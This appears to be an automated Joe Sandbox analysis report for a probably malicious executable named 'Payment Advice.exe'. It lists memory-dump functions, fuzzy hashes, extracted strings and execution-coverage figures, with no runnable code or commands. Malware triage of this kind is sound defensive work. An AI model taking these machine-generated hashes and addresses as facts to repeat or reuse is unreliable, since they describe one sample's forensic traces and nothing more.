Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b04e688adfc26c1cd9e741ab7e39c76bf2509b757b2e3ee5114fa00cb07286
Instruction ID: 509d762f8a16cdaf3235775a2824c032806d138b5c5923d3958be02c9bb91db3
Opcode Fuzzy Hash: a0b04e688adfc26c1cd9e741ab7e39c76bf2509b757b2e3ee5114fa00cb07286
Instruction Fuzzy Hash: B9D0176010AAC48ED30627B0A62E3A4BFB45F4B106F4D81D2E98C86963D924C466CB66

Uniqueness

Uniqueness Score: -1.00%

Function 077AA8B8 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3890bf261d127e590c64ee1841a12b34cf1f7566843cd0bac2fe3b2fae3040f
Instruction ID: 43fa929115cd2ce09d5d01f0ceb51d32d780262c6ff9fe6de26a91531a8d3655
Opcode Fuzzy Hash: c3890bf261d127e590c64ee1841a12b34cf1f7566843cd0bac2fe3b2fae3040f
Instruction Fuzzy Hash: 91C08CB000160887C2083BA4B60E328BB686709206F008120F80C000519E74A050CF29

Uniqueness

Uniqueness Score: -1.00%

Function 077AC7AB Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc4d92046311a16301c4cecfadb14a58530f73042c7bc0c10431d3da1ea1a88
Instruction ID: 87e5ccbd69c92a8400ec822f1c926d98b30e9e319e3594f3ec172520c666a8d6
Opcode Fuzzy Hash: 8bc4d92046311a16301c4cecfadb14a58530f73042c7bc0c10431d3da1ea1a88
Instruction Fuzzy Hash: 89C080BDA18248DFC7114F00DC04759BF32AB4A141F0055C1BC1557213DA305D50CF71

Uniqueness

Uniqueness Score: -1.00%

Function 077A7409 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b2cc341af1a407a043af1dcf8f504ca64fa3c37fd4540ef4849244de3f90fd8
Instruction ID: 64b49103c1655dbaf3991a9739a78bc19bbc04e842f4cc2a84e0a01a8fa3529a
Opcode Fuzzy Hash: 0b2cc341af1a407a043af1dcf8f504ca64fa3c37fd4540ef4849244de3f90fd8
Instruction Fuzzy Hash: 98C08C5232DBC1AFE303C3348825568AF3189A320078C00CAC2D1DB06BC0085029C37B

Uniqueness

Uniqueness Score: -1.00%

Function 077A6B04 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8839dd83f4ad517daa4b6ea98c17d89388a4c09f4f5322731a1ce056a036bc99
Instruction ID: 29d317ad661ff6b6354b439215f351f90f8493c67c4e3ad08c58666b4244d164
Opcode Fuzzy Hash: 8839dd83f4ad517daa4b6ea98c17d89388a4c09f4f5322731a1ce056a036bc99
Instruction Fuzzy Hash: 23B012A62E4600F2640033B4899882BDD10EFF3B40F70DD217345C0014C421C8A8D577

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 077A8508 Relevance: 5.3, Strings: 4, Instructions: 259COMMON

Download Yara Rule

Strings

[V~*, xrefs: 077A866D
T+-q, xrefs: 077A8842
[V~*, xrefs: 077A8674
]\`, xrefs: 077A878A

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID: T+-q$[V~*$[V~*$]\`
API String ID: 0-1849991408
Opcode ID: 9e2da5e69dcdd454c09170d26e8f735b3e6cdef1a08f5b8ff5566e5ac5b617e4
Instruction ID: 48511bf3701a5c667fa9b01397783d859055d21e1331ed6bd079103b11212fb5
Opcode Fuzzy Hash: 9e2da5e69dcdd454c09170d26e8f735b3e6cdef1a08f5b8ff5566e5ac5b617e4
Instruction Fuzzy Hash: 38B139B0E152199BDB44CFAAD58089EFBF2FF99340F14D62AD815BB318E73099018F55

Uniqueness

Uniqueness Score: -1.00%

Function 05C8D560 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

0, xrefs: 05C8D5D5

Memory Dump Source

Source File: 00000000.00000002.1718316976.0000000005C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c80000_Payment Advice.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 82ac707eacf077be044bafac0d4a115dfdc0d54786e7263561867ec54adf7683
Instruction ID: f52c4863c9d82fa65554faa7f9e2cbf03a591bcfa4aef45bc23dc86a6dda469f
Opcode Fuzzy Hash: 82ac707eacf077be044bafac0d4a115dfdc0d54786e7263561867ec54adf7683
Instruction Fuzzy Hash: DD21DBB1E016189BEB18DFABD85079EFBF3AFC8200F14C07AD509A6254EB305A45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 077AECC8 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a71d929de960c9423bec2bd961a09c866877796e8d57cb652230c636e6ce5b12
Instruction ID: 27a8b4cf9d22b61436e9893e3bb4e1838570601d34a27de0c5f4bab86ed0dd7b
Opcode Fuzzy Hash: a71d929de960c9423bec2bd961a09c866877796e8d57cb652230c636e6ce5b12
Instruction Fuzzy Hash: 6DE11CB4E041199FDB14DFA9C5809AEFBF2FF89304F248269D404A735ADB71A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 077AF548 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73b029d3aee8a5f178fe41907ba64d726ca8228a6f2fda286fa16fb77dc1e854
Instruction ID: bc1c715a54eeefff5d54e50680d87c0d42aee5e1d38cb6b81b913b81c0752664
Opcode Fuzzy Hash: 73b029d3aee8a5f178fe41907ba64d726ca8228a6f2fda286fa16fb77dc1e854
Instruction Fuzzy Hash: 26E11EB4E001199FDB14DFA9D5809AEFBF2FF89304F248169E414A735ADB31A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 077AF110 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcc4a18386b2819dff08e4cd42cd36e18115ec74261f906f7b6a4b4780e89cd9
Instruction ID: 039f98ca42948c4642c64c37d469648dc460e99db354472d54ac6a41ec35d67f
Opcode Fuzzy Hash: bcc4a18386b2819dff08e4cd42cd36e18115ec74261f906f7b6a4b4780e89cd9
Instruction Fuzzy Hash: 94E12DB4E041199FDB14DFA9D5809AEFBF2FF89304F248259D414A735ADB31A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 077A6560 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9f2e0a437e64367af3725925609577b01d10551844ef925dbbe617b8a78e701
Instruction ID: 0f78066687ed5ec1ff95908e007806b3551301ccc1cdd8d34484731c38bcebab
Opcode Fuzzy Hash: b9f2e0a437e64367af3725925609577b01d10551844ef925dbbe617b8a78e701
Instruction Fuzzy Hash: 8BD1E93182075A8ECB10EB64D994AADB7B1FFD5300F11879AE54977214EF70AAC5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 077A1DE0 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81d9dde15c2c997688643f9c736db685c367298f2c049d7fb6d1db9ea46a6e46
Instruction ID: 7106115ea49ac66f4ee296c8f9b901e0dcdb5b9f79086573f7b1fc5b065f59c0
Opcode Fuzzy Hash: 81d9dde15c2c997688643f9c736db685c367298f2c049d7fb6d1db9ea46a6e46
Instruction Fuzzy Hash: 4E81FFB4E14219DFDB44CFA9C5849AEFBF2FF89251F14956AE415AB320D330AA02CF54

Uniqueness

Uniqueness Score: -1.00%

Function 077A1DD0 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c121bb580dcae3f61a4076bd27a14c77d7f5ecc3d57b25b5bf396f8571ea24a7
Instruction ID: 868f2382bf26b3a51ee79ebed9949ce51eec0ce217ab7e7a756d02405e1eb960
Opcode Fuzzy Hash: c121bb580dcae3f61a4076bd27a14c77d7f5ecc3d57b25b5bf396f8571ea24a7
Instruction Fuzzy Hash: C2810F74E1421ADFDB44CFA9C58499EBBF2FF89251F14956AE415AB320D330AA02CF50

Uniqueness

Uniqueness Score: -1.00%

Function 077AA518 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d13666fe32b88432d69f52e507fa6c9744681c2bc320824d237244abb30735d5
Instruction ID: 01c5961f4d75f5ecb2d114d5f69244fdc0deb37681f831d6d1dcbefac9ba332a
Opcode Fuzzy Hash: d13666fe32b88432d69f52e507fa6c9744681c2bc320824d237244abb30735d5
Instruction Fuzzy Hash: 6551B092A5F3E06EEB076B3C59710D63F708D5325670B42DBC4C0CA0BBE599894CC7AA

Uniqueness

Uniqueness Score: -1.00%

Function 05C8EDC0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1718316976.0000000005C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c80000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe84e49dab391237f40904bb554802efaccfc32b35b86abed1815d219cbada4f
Instruction ID: 8e63c7d34919f01c636e009a698fdb65f6effdcb02ad85cb09800ed8298cb92c
Opcode Fuzzy Hash: fe84e49dab391237f40904bb554802efaccfc32b35b86abed1815d219cbada4f
Instruction Fuzzy Hash: 40711774E0520ADFCB04DF9AD4859EEFBB6FB88310F10892AE415AB354D7349A41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 077A2C98 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b4aaf698c76884ce69db46992b7f63d78b634c913e34226451d29ac88a2cc7e
Instruction ID: 4a5a432d55edce26bf0e98b5e44f51dea511acd8b11a3d80abe0914854231981
Opcode Fuzzy Hash: 0b4aaf698c76884ce69db46992b7f63d78b634c913e34226451d29ac88a2cc7e
Instruction Fuzzy Hash: F56115B5E1420AEFDB04CFAAC9815EEFBB2BF89340F14C51AD425A7201D734AA41CF95

Uniqueness

Uniqueness Score: -1.00%

Function 077A5248 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7e833524c60f1526d89da4ffc98aaeaaa43bd0534dea576425e623b138b2b4
Instruction ID: 37a697f532a57dba9aadc5fcd5245dc07b07673c441df44c6acb2131fe87de27
Opcode Fuzzy Hash: bc7e833524c60f1526d89da4ffc98aaeaaa43bd0534dea576425e623b138b2b4
Instruction Fuzzy Hash: 375149B0E1520ADFDB04CFAAD4855AEFBF2EF89350F20942AE405E7354D7349A518F94

Uniqueness

Uniqueness Score: -1.00%

Function 077AF538 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad5d5015de8209c1ad8ee050e719cebd0e6bbf3473f99b76fe1d9480fb308da4
Instruction ID: 217407ebe83971b3b5e6432726eca968081517120259a5706d463882ba94f5dc
Opcode Fuzzy Hash: ad5d5015de8209c1ad8ee050e719cebd0e6bbf3473f99b76fe1d9480fb308da4
Instruction Fuzzy Hash: 2C514DB0E042199FDB14DFA9D5805AEFBF2BF89304F24C269D418AB356DB319941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 077A3008 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719882744.00000000077A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 077A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_77a0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24de66439186c420747847b56fc99f6f1b749cb8be64a7626bafbf4ba71ebcdd
Instruction ID: 08552accdb76ece6fbaa4d2d4f531bceb4ab255e24d880a9bfdb9583fc111a44
Opcode Fuzzy Hash: 24de66439186c420747847b56fc99f6f1b749cb8be64a7626bafbf4ba71ebcdd
Instruction Fuzzy Hash: 504107B0E1160AEFDB08CFAAC4815EEFBF2BF89340F14D52AC415A7205D7749A418FA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Payment Advice.exePID: 7404, Parent PID: 6700COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	32
Total number of Limit Nodes:	6

Executed Functions

Function 068EB250 Relevance: 8.3, Strings: 6, Instructions: 771COMMON

Download Yara Rule

Strings

$^q, xrefs: 068EBC31
$^q, xrefs: 068EBC3D
$^q, xrefs: 068EBBC9
$^q, xrefs: 068EBC09
$^q, xrefs: 068EBBD5
$^q, xrefs: 068EBBFD

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 514aba7f9ed196025e1fa56827f87b7373ae21449b250e4fcc0be83d293e77ba
Instruction ID: 34dc76210d03300dfcff43524b1fedf8a68e93792156d39e792cb2c396de1f85
Opcode Fuzzy Hash: 514aba7f9ed196025e1fa56827f87b7373ae21449b250e4fcc0be83d293e77ba
Instruction Fuzzy Hash: 7D526D30E102098FDF64DB68D6807ADB7F6EB86314F20892AE505EB355DB35DC85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 068E3480 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068E3BA3
$^q, xrefs: 068E3BAF
$^q, xrefs: 068E3B7F
$^q, xrefs: 068E3B62
$^q, xrefs: 068E3B8B
$^q, xrefs: 068E3B56

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 843c1a675546479240058bdfd347a4c576b21b546465bfacb1a42ba1ab101d7b
Instruction ID: a495a1787756c1681392d54400ddd34b50288236d60a8c4b234fccc7f2a5825b
Opcode Fuzzy Hash: 843c1a675546479240058bdfd347a4c576b21b546465bfacb1a42ba1ab101d7b
Instruction Fuzzy Hash: 21323F31E1071A8FCB14EF75C89459DB7B6BFC9300F5086AAD449AB225EB70ED85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068E7D90 Relevance: 3.0, Strings: 2, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068E82FC
$^q, xrefs: 068E8308

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 8928505d83b3e9a04f9a6b5a004e887a2c603e73ccbc920c2e684434a531c4a8
Instruction ID: 4255edc2000dd5d672113a110086490f21a395b615ad76fead09c99856a68946
Opcode Fuzzy Hash: 8928505d83b3e9a04f9a6b5a004e887a2c603e73ccbc920c2e684434a531c4a8
Instruction Fuzzy Hash: 48028A70B002099FDB54DF78D590AAEB7E2AF89304F148569D509EB395DB31EC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068E0040 Relevance: 2.1, Instructions: 2056COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0eea6d1871e09fc1b295150b2655392784de17673c55a84267b889f54502b21
Instruction ID: 52e9abaf91f86caaba3e9d296a82c281e221650948a6a55a89653cb19ce3f871
Opcode Fuzzy Hash: f0eea6d1871e09fc1b295150b2655392784de17673c55a84267b889f54502b21
Instruction Fuzzy Hash: 4A230B31D10B198ECB11EF68C8945ADF7B1FF99300F14D69AE459B7221EB70AAC5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068E55C0 Relevance: 1.8, Strings: 1, Instructions: 594
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 068E598F

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: d547e401380591e6c6272496d00757e87bad59fd3deac1c575e909d43aa1f946
Instruction ID: dc5033dab66486a9e4922c6a572055a4915f0d8b507c2d949f10b62f2e24a500
Opcode Fuzzy Hash: d547e401380591e6c6272496d00757e87bad59fd3deac1c575e909d43aa1f946
Instruction Fuzzy Hash: C722E235F002158FDF64DFA4C4906AEBBB2EF86318F20846AD549EB350DA32DD45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 068E6608 Relevance: .8, Instructions: 822COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52ae797ec35e4df1f837a8daaa01f90ead5ad3262e2414ca36c8e083be27a2cb
Instruction ID: a0c9d8d310af73c1800d41fbd215959719598eaece6faf2524cf12785ea9043c
Opcode Fuzzy Hash: 52ae797ec35e4df1f837a8daaa01f90ead5ad3262e2414ca36c8e083be27a2cb
Instruction Fuzzy Hash: D162AF34F002048FDB54DB68D554AADB7F2EF8A314F148469E909EB395EB35EC86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068EC1B0 Relevance: .6, Instructions: 643COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66121ace82c259bfb5319e565c3be8d6cd745c45e744fd3aba79724794c0af25
Instruction ID: 62c39bf8a18bd176bc7293f92780279229ed047f5451ce8a1216c5ae4db47622
Opcode Fuzzy Hash: 66121ace82c259bfb5319e565c3be8d6cd745c45e744fd3aba79724794c0af25
Instruction Fuzzy Hash: 7D329C34E102099FDB54EF68D890BAEB7B2FB8A314F108529E515EB355DB34EC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068EACE8 Relevance: 12.9, Strings: 10, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068EAEC0
$^q, xrefs: 068EAE97
$^q, xrefs: 068EAE15
$^q, xrefs: 068EAE68
dM, xrefs: 068EB142
$^q, xrefs: 068EAEB4
dM, xrefs: 068EB061
$^q, xrefs: 068EAE09
$^q, xrefs: 068EAE8B
$^q, xrefs: 068EAE5C

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: dM$dM$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-292641143
Opcode ID: 58c421d7c012f384bdeca365bfbc9cc42109fe5f5f39509bbc959303cbfdce73
Instruction ID: c9b59de4ae8033651c9256b859b0049a8eecf4fb55fd67674d7b1b386c3a78ed
Opcode Fuzzy Hash: 58c421d7c012f384bdeca365bfbc9cc42109fe5f5f39509bbc959303cbfdce73
Instruction Fuzzy Hash: FFE15C34E1020A8FCF69DFA8D5806AEB7B2EF8A714F10852AD505EB354DB75DC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 068E9160 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068E91EE
$^q, xrefs: 068E91E2
$^q, xrefs: 068E91B3
$^q, xrefs: 068E91A7

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 1e67609d0dcef6a4ca347d672d412d7c666f386eb7e8a162a4d556d891eb6b80
Instruction ID: 2d0ee65f2e2b4166a0dce6dbf4615750dd5528172db0d31d82ac96a4aed405d7
Opcode Fuzzy Hash: 1e67609d0dcef6a4ca347d672d412d7c666f386eb7e8a162a4d556d891eb6b80
Instruction Fuzzy Hash: A8914B34F1020A9FDF64DF65D850BAEB3F6AF89244F108569C909EB384EB70DD468B91

Uniqueness

Uniqueness Score: -1.00%

Function 068ECF78 Relevance: 4.5, Strings: 3, Instructions: 795
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068ED36B
$^q, xrefs: 068ED373
$^q, xrefs: 068ED37F

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: b071f363af85cfdbabb31c544c025ef4ccc27f61fab68b5e3b8ddd2bac92de4f
Instruction ID: d520367715ccc2082af787e2e386af2e6834b6fb85b778c4fbec8785204da33f
Opcode Fuzzy Hash: b071f363af85cfdbabb31c544c025ef4ccc27f61fab68b5e3b8ddd2bac92de4f
Instruction Fuzzy Hash: DA622E30A002058FCB55EB68D590A5EB7F2FF85304F248A29D419DF369DB75ED8ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 068E4B88 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPcq, xrefs: 068E4CD9
fcq, xrefs: 068E4BB3
\Ocq, xrefs: 068E4D63

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: 60f619d27c9d60a45d6daba5f6af0ce44a8a3d038a7b11930b900fd4500c8ee9
Instruction ID: 5421abbd0ea86355704e679f5d90e8b2cec094153adfda5a33299f0ae70c6748
Opcode Fuzzy Hash: 60f619d27c9d60a45d6daba5f6af0ce44a8a3d038a7b11930b900fd4500c8ee9
Instruction Fuzzy Hash: 47617E34F002089FEB549FB5C8557AEBBF6EB89300F20852AE109EB395DF758D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 068E9151 Relevance: 2.7, Strings: 2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 068E91E2
$^q, xrefs: 068E91A7

Memory Dump Source

Source File: 00000008.00000002.4177120492.00000000068E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_68e0000_Payment Advice.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 1f449db4ce9254369afffac33e6b07653e3f969d89f306bdf438c3c641025da3
Instruction ID: daba9aa73fe6412fb088a7bbc289d5f3e895b659f7a123c30c1d124d5029d703
Opcode Fuzzy Hash: 1f449db4ce9254369afffac33e6b07653e3f969d89f306bdf438c3c641025da3
Instruction Fuzzy Hash: 46513D35F11205AFDF54DB74D950BAEB3FAABC9644F108469C509EB384EB70DC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 060107A0 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 06010945
(bq, xrefs: 0601091A

Memory Dump Source

Source File: 00000008.00000002.4168254396.0000000006010000.00000040.00000800.00020000.00000000.sdmp, Offset: 06010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6010000_Payment Advice.jbxd

Similarity

API ID:
String ID: (bq$(bq
API String ID: 0-4224401849
Opcode ID: 4831c1649cc597c2398cde07f0b56571ef14885a384777faa473047c7f8f6288
Instruction ID: 1a60bd31f808b8d3d62f53a86f981e48bd8e7bcd31615e515117a7bb4cd96215
Opcode Fuzzy Hash: 4831c1649cc597c2398cde07f0b56571ef14885a384777faa473047c7f8f6288
Instruction Fuzzy Hash: 4E518F30E047088FCB55EF79C85469EBBF2EF89300F148669D44AAB351EF70A981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 068E4B79 Relevance: 2.6, Strings: 2, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XPcq, xrefs: 068E4CD9
